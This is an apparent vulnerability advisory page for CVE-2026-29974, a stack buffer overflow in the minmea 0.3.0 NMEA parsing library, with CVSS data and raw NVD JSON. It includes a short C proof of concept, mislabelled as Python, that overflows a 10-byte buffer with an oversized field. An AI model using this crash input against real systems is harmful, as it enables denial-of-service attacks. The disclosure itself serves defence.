Security Vulnerability Report
中文
CVE-2026-29974 CVSS 7.5 HIGH

CVE-2026-29974

Published: 2026-05-08 16:16:10
Last Modified: 2026-05-08 19:16:30

Description

An issue was discovered in kosma minmea 0.3.0. The minmea_scan functions format specifier copies NMEA field data to a caller-provided buffer without a size parameter. Applications using minmea_scan on untrusted input are vulnerable to a stack buffer overflow.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

kosma minmea 0.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "minmea.h" // PoC for CVE-2026-29974 // Demonstrates stack buffer overflow in minmea_scan int main() { // crafting a malicious NMEA sentence with a long field char malicious_nmea[512]; memset(malicious_nmea, 'A', sizeof(malicious_nmea) - 1); malicious_nmea[sizeof(malicious_nmea) - 1] = '\0'; // Example format expecting a string into a small buffer char buf[10]; printf("Sending payload...\n"); // The minmea_scan function copies data without checking size // This will overflow 'buf' and corrupt the stack int res = minmea_scan(malicious_nmea, "s", buf); if (res == 1) { printf("Parsing successful (unexpected)\n"); } else { printf("Parsing failed\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29974", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:10.090", "lastModified": "2026-05-08T19:16:30.257", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in kosma minmea 0.3.0. The minmea_scan functions format specifier copies NMEA field data to a caller-provided buffer without a size parameter. Applications using minmea_scan on untrusted input are vulnerable to a stack buffer overflow."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/dwilliams27/6d4d8077b970f35e1a921c897ce13852", "source": "[email protected]"}, {"url": "https://github.com/kosma/minmea/blob/master/minmea.c#L231-L240", "source": "[email protected]"}]}}